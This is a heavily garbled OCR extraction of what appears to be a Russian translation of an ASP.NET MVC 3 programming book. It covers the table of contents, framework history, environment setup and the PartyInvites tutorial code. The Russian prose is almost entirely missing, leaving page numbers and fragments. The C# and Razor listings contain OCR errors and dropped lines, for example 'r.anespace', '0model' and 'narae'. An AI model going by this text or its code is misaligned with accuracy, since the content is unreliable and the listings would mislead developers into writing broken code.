Академический Документы
Профессиональный Документы
Культура Документы
NET MVC3
19
1.
20
2.
34
3. MVC
44
4. MVC
69
5.
95
6. , MVC
125
7. SportsStore:
151
8. SportsStore:
182
9. SportsStore:
225
265
10. MVC
266
11. URL,
283
12.
331
13.
364
14.
390
15.
417
16.
459
17.
487
18.
507
19. Ajax
545
20. jQuery
567
595
21.
596
22.
613
23.
639
663
I. ASP.NET MVC3
17
17
18
18
-------
1.
-
ASP.NET Web Forms
ASP.NET Web Forms
-
- REST
Ruby on Rails
Sinatra
Node.js
ASP. NET MVC
MVC
HTML HTTP
ASP.NET
A PI-
ASP. NET MVC
ASP. NET MVC
ASP.NET Web Forms
Web Forms MVC
Ruby on Rails
MonoRail
ASP. NET MVC 3
20
20
21
22
23
23
24
25
25
26
26
27
27
28
28
29
29
30
30
31
31
32
32
32
33
33
2.
34
Visual Studio 2010
34
34
-
-
35
37
38
39
39
40
42
43
3. M VC
44
ASP.NET MVC
-
44
46
48
48
49
51
53
53
54
55
57
59
63
66
68
4. MVC
69
MVC
MVC
ASP.NET- MVC
MVC
-
MVC
69
70
70
71
72
72
76
77
77
78
80
81
82
83
84
85
86
93
94
5.
95
C#
-
L1NQ
Razor
Razor
95
95
98
99
104
106
106
107
113
114
116
124
6. , M VC
125
Ninject
Ninject
Ninject ASP.NET MVC
Visual Studio
( )
Moq
Moq Visual Studio
Moq
Moq
Moq
126
127
128
130
131
132
133
134
135
137
137
139
143
144
144
145
145
148
149
150
7. SportsStore:
151
Visual Studio
DI
Entity Framework
Product
URL
CSS
152
1 52
15 4
154
156
157
157
1 58
15 8
15 9
160
161
162
162
163
163
164
165
167
168
1 69
176
177
1 77
1 78
179
181
8 . S p o rts S to re :
182
U R L
182
182
185
186
193
195
196
199
200
202
205
Cart
205
209
209
210
212
212
213
216
218
219
222
222
224
9. SportsStore:
225
C R U D
225
226
227
228
230
233
244
246
248
Account
Entity Framework
Getlmage
248
249
251
252
253
256
256
257
258
258
259
260
262
263
10
II. A S P . N E T M V C 3
265
10. MVC
266
266
270
270
272
272
273
274
277
280
282
11. URL,
283
URL
URL
URL
URL
URL
URL
URL
RouteBase
URL
URL
g e t p o s t :
283
284
285
287
290
292
295
297
298
300
7.
306
308
309
310
310
316
317
318
318
322
323
323
325
326
328
328
328
330
12.
331
IController
Controller
331
331
331
332
HTML-
XML
JSON
HTTP
11
334
334
336
338
339
343
346
350
354
355
356
357
360
361
363
13.
364
364
366
366
367
372
376
381
386
389
14.
Def aultControllerFactory
REST
,
390
391
391
393
393
394
395
396
398
399
400
403
405
406
408
416
15.
417
IV iew
iV iew E n gin e
Razor
417
419
420
421
423
12
Razor
Razor
Razor
HTML
HTML
HTML
HTML
423
425
427
428
429
434
434
436
437
450
452
453
453
454
455
457
457
457
458
16.
459
HTML-
V i e w D a t a . T e m p l a t e l n f o
459
463
465
472
474
477
478
479
480
481
482
483
485
486
17.
487
487
488
489
490
493
474
496
497
498
499
499
500
502
502
M o d elB in d er
13
505
505
506
18.
507
507
509
511
515
516
516
520
524
525
528
529
531
534
536
541
544
19. Ajax
545
Ajax MVC
Ajax
Ajax
Ajax
Aj
Aj
Ajax-
Ajax
JSON
JSON
JSON
Ajax
JSON-
545
545
548
549
sso
551
551
553
554
20. jQuery
567
567
569
571
572
574
575
577
579
jQuery
jQuery-
jQ uery
OcHOBbijQueiy
jQ u eiy
jQ uery
jQ u eiy
555
556
558
560
561
562
563
564
566
14
D O M
579
jQ uery-, CSS
DOM
jQ uery
j Query
jQ uery UI
HajQ ueryUI
589
595
21.
596
-
HTML-
. XSS-
HTML Razor
JavaScript- XSS-
IP-
HttpOnly cookie-
CSRF Antiforgery
SQL-
-
MVC Framework
596
598
599
600
601
601
604
606
606
606
607
7
0
608
610
610
611
611
611
611
612
612
22.
613
Windows
-
613
615
616
619
619
621
628
631
636
637
638
URL
IP-
581
583
587
588
590
591
592
594
15
2 3 .
639
bln-
Web .conf ig
IIS
-
- , IP-
639
639
640
641
642
651
654
654
654
655
655
655
657
657
658
661
662
663
, ,
, .
, ,
.
17
,
, ,
.
.
.NET.
Microsoft
-
(Web Platform and Tools),
- Microsoft
. -
,
,
-.
http://github.com/SteveSanderson.
/
, Microsoft.
(www.brainforce.it) Brain Force (www.brainforce.com).
Microsoft
.NET (Microsoft Certified Solution Developer for .NET),
Microsoft .NET (Microsoft Certified Application Developer
for NET), Microsoft (Microsoft Certified
Professional), .
10 ,
.
18
Apress
. ,
(Jennifer Blackwell) (Ewan
Buckingham) .
, (Fabio Claudio Ferracchiati),
, .
, , .
, ,
.
, .
.
, -
. , ,
, ,
.
, ,
.
.
:
E-mail:
WWW:
http://www.williamspublishing.com
:
:
127055, . , . , . 43, . 1
03150, , / 152
ASP.NET 3
ASP.NET MVC
- Microsoft.
, ,
, -.
, 0CH0ByASP.NET MVC 3,
.
-
ASP.NET MVC,
- , . - Microsoft
, , .
. 1.1,
.
1.1. - Microsoft
*
Common Gateway
Interface (
) (CGI)*
-,
(
)
Microsoft Internet
Database
Connector (
) ()
SQL
1996 .
Active Server
Pages (
) (ASP)
1.
21
. 1.1
2002,
2003 .
ASP.NET
Web Forms
(-
ASP.NET) 1.0/1.1
HTML
2005 .
ASP.NET Web
Forms 2.0
2007 .
ASP.NET AJAX
2008 .
ASP.NET
Web Forms 3,5
2009 .
2010 .
2011 .
* CGI - ,
. NCSA (National Center
for Supercomputing Applications ).
22
I. ASP.NET MVC 3
View State.
( V ie w S tate)
.
-, -
,
.
.
,
, .
, View State
,
.
. (codeb e h in d ) A SP.N ET HTML .
,
(,
) (,
) .
.
1.
23
HTML-.
HTML-,
HTML, . ASP.NET 4 HTML-
-
(Cascading Style Sheets CSS),
, JavaScript.
ASP.NET 4, HTML- .
. Web Forms HTML
HTTP, .
,
HTML-. ,
-.
. ASP.NET ,
. ,
.
.
ASP.NET . 2.0
, ,
. Ajax 2007 . Microsoft
Web 2.0/AJAX,
. , ASP.NET 4,
HTML-,
.
-
Microsoft Web Forms -
. A j a x
.
- REST
- . -
,
- , - (HTML, CSS, JavaScript ..)
-
( ).
-.
HTTP REST (Representational State Transfer
), SOAP (,
-, ASP.NET). REST
(URI),
, ( HTTP),
. , PUT
24
I. ASP.NET MVC 3
h t tp ://w w w .e x a m p le .c o m /P r o d u c t s /L a w n m o w e r
d e l e t e
http://
w w w .e x a m p le .c o m /C u s t o m e r s /A r n o ld - S m it h .
- HTML-;
JSON XML
, AJAX, Silverlight .
REST ,
- -,
HTTP URL, ASP.NET Web Forms.
-
(agile)
. ,
,
, .
, ,
(
), .
(test-driven de
velopment TDD)
(behavior-driven development BDD).
, ( ,
),
,
. .N E T , T D D / B D D ,
, Web Forms.
.
,
,
. ,
Web Forms.
, ,
Web Forms. .
. Web Forme,
, .
, Web Forms
HTML ,
.
(independent soft
ware vendor ISV)
(NUnit MBUnit),
(Rhino Mocks Moq), (Ninject AutoFac),
(Cruise Control TeamCity), -
1.
25
(NHibemate Subsonic) ..
,
ALT.NET.
ASP.NET Web Forms ,
.
Ruby on Rails
2004 . Ruby on Rails ,
. ,
-. , Ruby on Ralls
, ,
, , ,
.
Ruby on Rails ( Rails, )
MVC. MVC HTTP,
,
- (object-relational map
ping ORM) Rails
. ,
-: , , ,
, , , .
Ralls , - REST
. ,
, .
- .
Sinatra
Rails, -,
Ruby .
Rails .
, Sinatra, 2007 .
Sinatra Rails (
, , ..) URL
Ruby. URL.
Ruby, . -
, . -,
, -, REST,
( REST 14). -,
Sinatra HTML
ORM,
-,
.
, Sinatra
MVC-, Rails ( ASRNET MVC).
,
- , , Sinatra
,
.
26
I. ASP.NET MVC 3
Node.js
JavaScript
. A J A X JavaScript;
jQueiy , ; JavaScript-
V 8 Google ,
. JavaScript
.
, CouchDB Mongo,
, Node.js.
Node.js 2 0 0 9 ..
. Sinatra ,
M VC. H T TP - .
.
JavaScript.
, ,
CouchDB ..
. API- Node.js
-
. - ,
-.
, Node.js
(
,
100 ).
Sinatra, Node.js .
,
, ,
Ruby on Rails ASP.NET M V C . Node.js ,
ASP .N E T M V C
, ASP.NET M V C (00
1 4 ). H T T P
-
. , , ASP.NET M V C
JavaScript, ( 18,
19 20).
ASP.NET MVC
ASP.NET , ,
- , , . Mieresaft
Web Forms, .
2 0 0 7 . ALT.NET , . , Microsoft (Scott Guthrie)
- M V C . ASP.NET
, Ralls,
Web Forms. ,
Web Forms A S P . N E T
.
1.
27
MVC
MVC ASP.NET MVC.
MVC (model-view-controller --)
1978 . Smalltalk,
Xerox PARC
- .
MVC
: ,
. .
-,
HTTP.
-, (
, , HTML ),
,
MVC.
* ASP.NET MVC MVC
. ASP.NET MVC
MVC, -.
4.
MVC, ASP.NET MVC
Ruby on Ralls , MVC
.NET. ,
, , ASP.NET MVC
, Rails.
,
,
. ,
,
, , , .
MVC
.NET
, , ,
,
.
MVC Framework ASP.NET MVC
.
( ) ,
( ).
.
.
28
I. ASP.NET MVC 3
ASP.NET 2.0,
MVC. ,
, 10.
HTML HTTP
ASP.NET MVC
. HTML
,
Web Forms.
HTML-, MVC
, CSS .
,
,
, ASP.NET MVC "
,
jQuery Yahoo YUI. JavaScript
, , jQuery ,
ASP.NET MVC
, jQuery ,js
CDN (Content Delivery Network ) Microsoft.
jQuery 20.
ASP.NET MVC View State,
ASP.NET Web
Forms. ,
.
Ruby on Rails, ASP.NET MVC g HTTP: , ,
. AJAX ,
. ,
, ,
.
,
, MVC.
.
ASP.NET MVC .
-
,
.
Visual Studio
(
, NUnit xUnit,
MSTfest Microsoft).
, .
,
ASP.NET MVC,
.
1.
29
. ASP.NET
MVC ,
.
, , ,
HTML-, CSS
, .
-
URL-. URL :
/App_v2/User/. aspx?action=show%20prop&prop_id=82742
, ,
:
/ to -r e n t/ c h ic a g o / 2303 - s i l v e r - s t r e e t
, URL-. , , URL,
. rent in Chicago ( )
URL. -, -
, URL,
. -, -
URL-, ,
. -,
,
, , ,
, ).
U R L - ,
ASP.NET
ASP.NET Microsoft ,
-.
,
ASP.NET M V C .NET, ,
.NET. API-,
M V C , -NET,
.NET .
-, ASP.NET, -,
, , , ,
,
, MVC ,
Web Forms. ASP.NET
30
I. ASP.NET MVC 3
Web Forms,
ASP.NET ( ,
Web Forms , View State).
. ASP.NET
Visual Studio -
, - Internet Information Services (IIS),
Windows , Windows Vista, Windows 7 Windows Server. IIS 7,
- .NET
,
AS P. NET.
ASP.NET. MVC . 23 ,
ASP.NET MVC IIS
Windows Server.
API-
2002 . Microsoft .NIST
, .
AS .N 1ST MVC 3 .NET 4, API-
,
, -, ,
LINQ (Language Integrated Query ).
API- MVC Framework
, .
ASP.NET MVC
- Microsoft,
ASP.NET MVC ,
. ,
,
( , ).
, ,
,
.
,
,
,
.
. ASP.NET
MVC Microsoft (Microsoft
Public License Ms-PL; h ttp :/ / w w w .o p en so u rce.o rg / licen sesy m s-p l.h tm l),
,
(Open Source Initiative OSI).
, ,
. Microsoft ,
. Microsoft ,
.
MVC h t t p ://a s p n e t .c o d e p l e x .c o m /.
1.
31
ASP.NET MVC
,
ASP.NET M V C .
M V C .
,
, MVC, ,
.
. -
,
,
.
W eb Forms ,
. HTTP H T M L
,
View State .
Windows Forms,
( ]
, .
M V C
HTTP, , .
. M V C
-.
, -
, ,
.
Web Forms , , ,
, , M V C . ,
, ,
(w iz a r d ). ,
Web Forms, ,
.
,
, .',
, MVC.
32
I. ASP.NET MVC 3
Ruby on Rails
Ruby on Rails ,
-. , Microsoft .NET,
ASP.NET MVC,
, Python Ruby Linux Mac OS X,
Rails. , Rails ASP.NET
' MVC .
.
Rails , ..
, ,
ORM
.
, ASP.NET MVC
- MVC .
ORM,
. .
.NET
, . ,
ORM, NHibernate, Subsonic, M i c r o s o f t E n t i t y F r a m e w o r k
.
.NET, ,
ASP.NET MVC. Rails.
MonoRail
MonoRail MVC- - NET, i
Castle ,
2003 . MonoRail ASP.NET MVC
MonoRail , Rails-
ASP.NET, ,
Microsoft.
MonoRail . , (
- .NET
, . (
ASP.NET MVC MonoRail .
- .NET ASP.NE1
MVC.
1.
33
ASP.NET MVC 3
MVC 3
Razor (Razor View Engine). MVC
ASP.NET, <% %> ASP.NET (
ASP.NET, , ,
).
Razor
, . Razor
.
- , Microsoft
, Razor MVC. . , Razor
.
Razor MVC 3.
Visual Studio .
JSON
JavaScript, jQueiy.
,
CGI ,
, .
, ASP.NET Web Forms - Microsoft 2002 ., -,
Microsoft - .
, ASP.NET MVC ASP.NET Web
Forms,
, ,
.
MVC ,
, . 7
,
, ,
.
2 . 40.49
, MVC,
.
, ,
, , .
MVC
. Visual Studio 2010, -
(Web Platform Installer) , IIS Express.
, .
.
:
Visual Studio 2010 Professional
Visual Studio 2010 Premium
Visual Studio 2010 Ultimate
,
. Visual Studio Windows-
,
.
V is u a l W e b D e v e lo p e r E x p r e s s
M icrosoft Visual Studio, Express.
- V is u a l W e b D e v e lo p e r
2010 Express.
. ,
MVC, , , ,
Visual Studio.
2.
35
36
I. ASP.NET MVC 3
( MVC 3)
- (Web Platform Installer WebPI).
WebPI , Microsoft,
-
Microsoft. ,
.
WebPI, http://microsoft.com/we)/clownloacls
, . 2.2. ( Microsoft
,
- .)
. 2.2. -
. ;
WebPI.
Windows, WebPI. -.
WebPI , ,
. 2.3.
2.
37
.
Products (). ,
,
:
Visual Studio 2010 SP1
SQL Server Express 2008 R2
ASP.NET MVC 3 Tools Update ( ASF2.N E T MVC 3)
Add ().
Install (),
.
,
: MVC Framework, IIS Express SQL Server 2008 Management Studio
Express. ,
.
MVC Framework
Microsoft MVC Framework
. MVC Framework, ,
,
.
MVC h ttp :/ / a s p n e t.
" d e p le x .c o m . , Microsoft ,
, , .
IIS Express
Visual Studio -,
MVC Framework.
, .
, , ASP.NET
Development Server ( ASP.NET),
, IIS. ,
5SL (Secure Sockets Layer ). , IIS,
Visual Studio, ASP.NET Development
Server.
IIS Express,
, ,
IIS. IIS Express ..
,
. IIS Express ,
: Visual Studio 2010 Service Pack 1.
38
I. ASP.NET MVC 3
MVC. ,
. MVC Framework
IIS. Microsoft.
. MVC,
,
23.
IIS Windows, ,
Windows Vista Windows 7. MVC
. Windows
, -,
. Windows
Server. Windows Server 2008 R2,
IIS 7.5, .
! MVC 3 IIS 6,
Windows Server 2003 2003 R2. IIS 6 ,
h t t p ; //haacxea.com /
. ,
Windows Server. Windows
Server IIS IIS (IIS Learning Center)
h t t p : / / w w w . i i s . n e t , .
___________________ __________________
,
. ASP.NET
.
.
,
. ,
ASP.NET 4.
MVC 3 Framework , .
, 23
2.
39
-
, - (IIS) m e Windows Server. Server Manager ( ) 5 Add Roles ( ) Roles Summary ( ),
. 2.4.
ASP.NET .
MVC. Management Service
Web Deployment (-),
.
,
. . Install.
IIS, . URL-
(h tt p :/ / lo c a lh o s t ),
(h t t p \//MoPi_windows_cepBep).
, IIS 7.5, . 2.5.
WebPI
. :
.N E T F ra m e w o rk 4
40
I. ASP.NET MVC 3
. 2.5. IIS
SQL Server Express 2008 R2. SQL
Server Express . Mixed
Mode Authentication ( )
sa. .
, MVC Framework ,
,
. ,
. 23.
! WebPI ,
. , AS P .N E T M VC, .N E T 4
.
SQL Server
, IIS. , 23
,
. SQL Server.
-
23 , Wet) Deployment
M V C Framework .
, IIS .
! Web Deployment ,
MVC Framework
.
. http://learn.
iis .net/, aspx/984/configure-web-deploy.
2.
41
42
I. ASP.NET MVC 3
Back (),
. Management Service (
). Enable remote connections ( ),
Start (), . 2.8.
. 2 .8 . Management Service
! Management Service
. , S e rvice s ()
S ta rtu p ( ) W eb M an ag em en t S ervice A uto m atic
() A uto m atic (Delayed) ( ( )).
Web Deployment,
URL:
https://<_>:8172/Ms D eploy .axd
Web Deployment (
h ttp s , h ttp ) 8172. ,
, ,
. (
, , , 8172.)
,
.
, ,
.
Microsoft (Microsoft Developer Network MSDN).
.NET-,
ASP.NET MVC Framework. ASP.NET
, MVC
.
2.
43
MVC Framework.
MVC Framework, CodePlex http://
aspnet.codeplex.com. , MVC Framework
, ,
.
- ASP.NET. - ASP.NET
http://www.asp.net. .
,
, Microsoft.
- IIS. IIS
. MVC Framework.
IIS,
http://www.ils.net.
jQuery. , MVC Framework JavaScript jQuery. jQ u eiy ,
http://jQuery.com http://jQueryUI.com.
1(.') s t a c k o v e r f l o w . c o m .
- http://stackoverflow.com,
, , MVC Framework.
. ,
MVC 3. 23
Framework .
.
, ASP.NET MVC Framework.
, , ASP.NET
MVC. .
, .
- , ,
.
ASP.NET MVC
Visual Studio.
New Project ( ) File (),
New Project ( ). Web,
, 3 ASP.NET MVC 3 Web Application (
AS P. NET 3), . 3.1.
3.
45
! MVC 3 MVC 2,
. ,
,
P a r t y l n v i t e s .
. , . 3.2,
MVC.
. 3 .2 . MVC 3
46
I. ASP.NET MVC 3
, ,
. 404 N o t F o u n d ( ).
. 3.3.
, ,
, Visual Studio Stop
Debugging ( ) Debug.
MVC . ASP.NET
MVC C# ( S y s t e m .
W e b . M v c . C o n t r o l l e r ).
. .
- URL .
MVC C o n t r o l l e r s ,
Visual Studio .
MVC ,
, ,
.
,
C o n t r o l l e r s Solution Explorer Visual Studio
Add (), Controller (), . 3.4.
. 3 .4 . MVC
3.
47
Add Controller ( )
SomeCo n t r o l l e r Controller name: ( :), . 3.5.
: , ,
Controller.
Scaffolding options ( )
, .
, , Template ()
Empty controller ( ), . 3.5.
! Add Controller , . 3.5,
, , 3 Tools Update
( 3). 2.
Add (), . Visual Studio
C o n t r o l l e r #- HomeController.cs
-. , HomeController
System.Web.Mvc.Controller. ,
3.1.
3.1. H o m e C o n tr o lle r
using System.W e b .Mvc;
r.anespace Partylnvites .Controllers {
public class HomeController : Controller {
p u b l i c string I n d e x () {
}
1
,
M VC. Index,
48
I. ASP.NET MVC 3
. 3.6.
, , , MVC
ASP.NET, , URL-
.
Visual Studio MVC,
, .
URL-, Index
HomeController:
/
/
/Home/Index
-
HTML-, "Hello,
world". HTML- ,
.
3. MVC
49
, In dex, 3.2.
3.2.
using System.Web.Mvc;
namespace Partylnvites.Controllers {
public class HomeController : Controller {
public ViewResult Ind e x () {
return V i e w () ;
}
)
3.2 . V ie w R e s u lt
, MVC,
. V iew R es u lt View .
MVC,
.
, , MVC
,
. 3.7.
. 3 .7 . MVC
. ,
M V C , ,
. MVC:
.
Index, , . 3.7, MVC
Views .
50
I. ASP.NET MVC 3
,
H o m e C o n t r o lle r .c s ( , )
Add View ( ).
Add View ( ), . 3.8.
. 3 .8 . Add View
ASPX, .aspx.
I n d e x . c s h t m l .
HTML-. ,
:
@{
Layout = n u l l ;
}
Razor.
. Razor, -
. Razor. I n d e x . c s h t m l
. 3.3 .
3. MVC
51
3 .3 . HTML-
Layout = n u l l ;
< !30CTYPE htm l>
<r.~nl >
<head>
< title > In d e x < / title >
< 'head>
ciody>
<div>
Hello, world (from the view)
< /div>
< body>
< 'html>
.
Start Debugging Debug,
. ,
. 3.9.
. 3 .9 .
Ir.dex, . , M VC
, . ,
In d e x V ie w R e s u lt , M V C,
H T M L- .
M VC, ,
.
3
, -----/ V ie w s / H o m e / In d e x .c s h t m l.
V ie w R e s u lt
. , R e d i r e c t R e s u l t ,
U R L . H t t p U n a u t h o r iz e d R e s u lt .
.
, A c t i o n R e s u l t .
.
.
, -
. M VC
, H T M L -
. .
V iew B ag . C o n t r o l l e r . V iew B ag
, ,
.
3 3 .4
.
52
I. ASP.NET MVC 3
3 .4 .
using System;
using System.Web.Mvc;
namespace Partylnvites.Controllers {
public class HomeController : Controller {
public ViewResult Index () {
int hour = DateTime.Now.Hour;
V iew B a g .Greeting = hour < 12 ? "Good morning" : "Good afternoon";
return V i e w ();
}
}
, ,
.
(. 3.5).
3.5. V ie w B a g
. - :
Layout = null;
}
<!DOCTYPE html>
<html>
<head>
<title>Index</title>
</head>
<body>
<div>
@ViewBag.Greeting, world (from the view)
</div>
</body>
</html>
3.5 Razor, ,
G r e e t in g ViewBag. G r e e t in g
.
, . ,
.
. , Razor .
0, #.
Razor.
<% %>.
, MVC,
. 3.10.
. 3.10. , MVC
3. MVC
53
MVC,
.
. MVC ,
, " .
.
,
-,
.
:
, :
, (repondez sil
vous plait RSVP);
RSVP,
;
RSVP .
MVC, ,
. ,
, HTML, , 3.6.
3.6.
(
Layout = null;
C D O C T Y P E html>
<ntml>
<head>
. ,
, , ,
. 3.11.
54
I. ASP.NET MVC 3
. 3 .1 1 . HTML-
MVC model (),
. ,
, , .
, , C# (
),
, , . ,
.
MVC
,
.
P a r t y l n v i t e s ,
. G u e s t R e s p o n s e .
,
(RSVP).
MVC , ,
~/Models. M odels Solutior
Explorer Add (), Class ()
GuestResponse. cs Add (
. ,
3.7.
3.7. G u e stR es p o n s e
na m e s p a c e P a r t y l n v i t e s . M o d e l s {
public class GuestResponse {
p u b l i c s t r i n g N a m e { get; set; }
p u b l i c s t r i n g E m a i l ( get; set; }
p u b l ic string Phone { get; set;
p u b l i c b o o l ? W i l l A t t e n d { get; set; }
}
}
. , W i l l A t t e n d ,
null, .. true, f a l s e null.
.
3. MVC
55
RSVP,
In d e x .cs h tm l,
3.8.
3.8. RSVP
Layout = n u ll;
<nead>
<title>Index</title>
< /head>
<b ody>
< d iv>
</div>
</bod y>
< /htm l>
. 3 .1 2 .
, ,
http://sam-cepBep/Home/RsvpForm. H tm l.A c tio n L in k
URL- , /Home/RsvpForm
URL RsvpForm H o m eC on troller.
, ASP.NET, URL- MVC
.
URL, MVC Framework ASP.NET
URL .
56
I. ASP.NET MVC 3
, 404 N ot Found. ,
, URL / H o m e / R s v p F o r m .
. R s v p F o r m H o m e C o n t r o l l e r (. 3.9).
3.9.
using System;
u s i n g S y s t e m .W e b .M v c ;
nam espace P a r t y l n v i t e s . C o n t r o l l e r s
p u b lic c la s s HomeController : C o n t r o l le r {
p u b lic V ie w R e su lt
I n d e x ()
in t hour = D a te T im e . N ow . H o u r;
V i e w D a t a [" g r e e t i n g " ] = h o u r < 12
? "G o o d m o r n i n g "
"G o o d a f t e r n o o n " ;
r e t u r n V ie w ( ) ;
}
public ViewResult RsvpForm() {
return V i e w Q ;
}
}
R sv p F o r m ,
.
, ,
( G u e s t R e s p o n s e ), MVC ,
.
!
- , ,
MVC
G u e s t R e s p o n s e , , m v c
. ,
Build Solution ( ) Build ( ) Visual Studio.
,
R s v p F o r m Add View (
). Add View ( ) Create
a Strongly-typed view ( )
GuestResponse. Use a layout or master
page ( -) ,
View engine ( ) Razor, Scaffold template
( ) Empty (), . 3.13.
Add, . Visual Studio
RvspForm . c s h tm l.
H T M L -, Razor- 0model. ,
.
3.
57
. 3 .1 3 .
, ,
R s v p F o r m . c s h t m l , HTML-
G u e s t R e s p o n s e .
3.10.
3.10.
-.odel P a r t y l n v i t e s .M o d e l s .G u e s t R e s p o n s e
?
Layout = null;
<!DOCTYPE html>
<html>
<head>
<title>RsvpForm</title>
< /head>
<body>
new[]
{ T e x t = "No,
I c a n ' t c ome",
}, " C h o o s e a n o p t i o n " )
</p>
<input type="submit" value="Submit RSVP" />
}
< !'body>
</html>
V a l u e = b o o l .F a l s e S t r i n g }
58
I. ASP.NET MVC 3
GuestResponse
HTML, HTML-
input. - ,
input, :
@Html.TextBoxFor ( => .Phone)
, - #.
5.
HTML HTML-,
input, type text, id n ame Phone
;
Cinput id="Phone" narae="Phone" type="text" value="" />
, RsvpF o r m
, MVC, GuestResponse ,
.
- ;
:
SHtml.TextBox("Email")
- ;
. , IntelliSense Visua
Studio , !
. 3.14.
)
u s in g ,
. , ,
, ;
3. MVC
59
( using ,
.)
, H tmlBe g i n F o r m HTML form, .
Html.BeginForm , :
<form action="//RsvpForm" method-"post">
... ...
</form>
, #.
HTML.
ASP.NET Web Forms - ,
<form runat="server">,
View State . MVC .
HTML-,
. View State
, , , .
R s v p F o r m ,
RSVP Now. . 3.15.
. 3.15. RspvForm
! CSS -.
, (
, ).
MVC HTML-,
, .
MVC .
, , .
Submit RSVP
, . ,
R s v p F o r m ,
60
I. ASP.NET MVC 3
! ,
. , , ,
ASP.NET Web Forms,
. ,
MVC Framework.
. R s v p F o r m .
.
, HTTP GET. G ET ,
, - .
, -
/Hom e/RsvpForm .
, HTTP POST. ,
H tm l.BeginForm O ,
POST.
, .
GET POST C#
, .. .
URL, MVC
, GET POST. ,
H o m e C o n tro lle r, 3.11.
3.11. POST
u sin g
System ;
using
S y s te m .W e b .M v c;
using Partylnvites.M o d e l s ;
namespace
public
P a r ty ln v it e s. Controllers
class
Hom eController
I n d e x ()
: Controller
? "Good m o r n i n g "
return V i e w ();
}
[HttpGet]
p u b l i c V i e w R e s u l t R s v p F o r m ()
}
[HttpPost]
public ViewResult RsvpForm(GuestResponse guestResponse)
/ / : guestResponse
// .
return View("Thanks", guestResponse);
}
}
}
3.
61
H t t p G e t RsvpForm.
, GET.
RsvpForm,
GuestResponse HttpPost. MVC,
POST. ,
Partylnvites.Models. ,
GuestResponse .
R s v p F o r m
, . , . 3.15.
. , ,
HTTP- POST, G uestR e s p o n s e
#, ?
, ,
/
. HTML;
. , ,
HTML- input, id nam e
. ,
input
, ,
POST.
,
HTTP-,
#, Request.Form[] R e q u e s t . Q u e r y S t r i n g [].
"uestResponse, ,
. ,
, 17.
R s v p F o r m ,
,
. :
return View("Thanks", guestResponse);
View ,
T h a n k s Gu e s t R e s p o n s e .
,
Ecrr.eController Add View.
Thanks, . 3.16.
,
Create a strongly-typed view Add View.
,
View,
GuestResponse. Use a layout or master page ,
(View engine) Razor,
(Scaffold template) Empty. Add,
. Home, MVC
~/Views/Home/Thanks. cshtml.
, 3.12.
62
I. ASP.NET MVC 3
. 3.16. Thanks
3.12. T h an ks
Sraodel P a r t y l n v i t e s . M o d e l s . G u e s t R e s p o n s e
@{
Layout = null;
}
< ! DOC TYPE html>
<h tml>
<head>
<body>
<div>
<hl>Thanlc you, S M o d e l . N a m e !</hl>
@if (M od e l. WillAttend == true) (
0 : I t 1s great that you're coming. The drinks are a lr e a d y in the fridgs!
} else (
0 :S or ry to h ear that you can't m ake it, but thanks for l et ti n g US know.
)
</div>
</body>
</html>
Thanks Razor,
GuestResponse,
View RsvpForm. @model Razor
, .
M o d e l . . , Name,
3.
63
M o d e l . N a m e . , Razor
Razor 5.
, T h a n k s , .
Visual Studio, RSVP Now,
Submit RSVP ( RSVP). ,
. 3.17 ( , (Joe)
. ).
. 3.17. T h a n k s
.
,
.
MVC , . ,
, ,
. ASP.NET MVC
, System.
z p o n e n t M o d e l . D a t a A n n o t a t i o n s .
G uestResponse 3.13.
3.13.
G uestResponse
iising System.ComponentModel.DataAnnotations;
"a_~espace Partylnvites .Models {
public class GuestResponse {
[Required(ErrorMessage="Please enter your name")]
//
64
I. ASP.NET MVC 3
. MVC
. , ,
, ,
.
. ,
W i l l A t t e n d
n u l l . , 1/
R e q u i r e d ().
, , t r u
f a l s e , , .
n u l l , : t r u e , f a l s e n u l l . n u l
, , R e q u i r e
.
hcitoj
M o d e lS t a t e .Is V a lid . ]
R sv p F o rm . POST, 1
3.14.
3.14.
[H ttp P o s t]
p u b l i c V ie w R e s u lt R svpF orm (G u estR espon se g u e s t R e s p o n s e )
if (ModelState.IsValid)
// : g u e s t R e s p o n s e
/ / .
r e tu rn V ie w ( "Thanks",
} else {
//
//
return V i e w ();
- m v c ,
T h a n k s , . :
R sv p F o
V iew .
,
H tm l.V alidation S u m m ar
RsvpForm, 3.15.
3.15. H t m l . v a l i d a t i o n s u m m a ;
<body>
@using
(Html .B e g i n F o r m O )
@Ht m l .ValidationSummary()
< p > Y o u r name: @ H tm l. T e x t B o x F o r ( x => x.Nam e) </p>
< p > Y o u r e m a i l : @ Htm l. T e x t B o x F o r ( x => x . E m a i l ) < / p >
3. MVC
65
. 3 .1 8 .
T h a n k s ,
, G u e s t R e s p o n s e , .
, , ,
.
.
! , ASP.NET Web Forms, , Web Forms
, ,
__ VIEWSTATE . ASP.NET
MVC ,
View State Web Forms. ASP.NET MVC
__ V I E W S T A T E HTML-.
HTML, ,
, ,
. , ,
,
, .
,
HTML HTML-.
HTML-, H t m l .TextBoxFor ( -5- . Name)
:
<input data-val = " t r u e " d a t a - v a l - r e q u i r e d = " P l e a s e enter your name"
id="Name" name="Name"
type="text" value=""
/>
A HTML-, ,
( ,
R eq u ired Name GuestResponse) :
3 . 4039
66
I. ASP.NET MVC 3
<input class="input-validation-6rror" data-val="true"
data-val-required="Please enter your name"
id="Name" name="Name" type="text" value="" />
.
CSS i n p u t - v a l i d a t i o n - e r r o r .
CSS,
- / C o n t e n t / S i t e . c s s , Visual Studio MVC.
, h e a d R s v p F o r m
:
<link rel="Stylesheet" href="0Href{"-/Content/Site.css")" type="text/css"/>
. ASPX, , ,
, (~) (: h r e f =
" - / C o n t e n t / S i t e . c s s " ) ,
URL-, . Razor
. , H r e f URL (,
, h r e f = " H r e f ( " - / C o n t e n t / S i t e . c s s " ) "). Razor
5.
, ,
,
(. 3.19).
. 3.19.
RSVP , .
, .NET.
W e b M a i l .
MVC, ,
.
3.
67
! W ebMail,
. , ,
.
MVC 4.
,
Thanks. 3.16.
3.16. W e b M a il
gmodel Partylnvites.Models.GuestResponse
0{
Layout = null;
}
<!DOCTYPE html>
<html>
<head>
<title>Thanks</title>
</head>
<body>
@{
try {
W e b M a i l .SmtpServer "smtp.example.com";
W e b M a i l .SmtpPort = 587;
W e b M a i l .EnableSsl = true;
WebMail.UserName = "mySmtpUsername";
W e b M a i l .Password = "mySmtpPassword";
W e b M a i l .From "rsvps@example.com";
W e b M a i l .S e n d ("party-host@example.com" , "RSVP Notification",
Model. Name + " is " + ( (Model .WillAttend ?? false) ? "" : "not")
+ "attending");
} catch (Exception) {
@:<b>Sorry - we couldn't send the email to confirm your RSVP.</b>
}
}
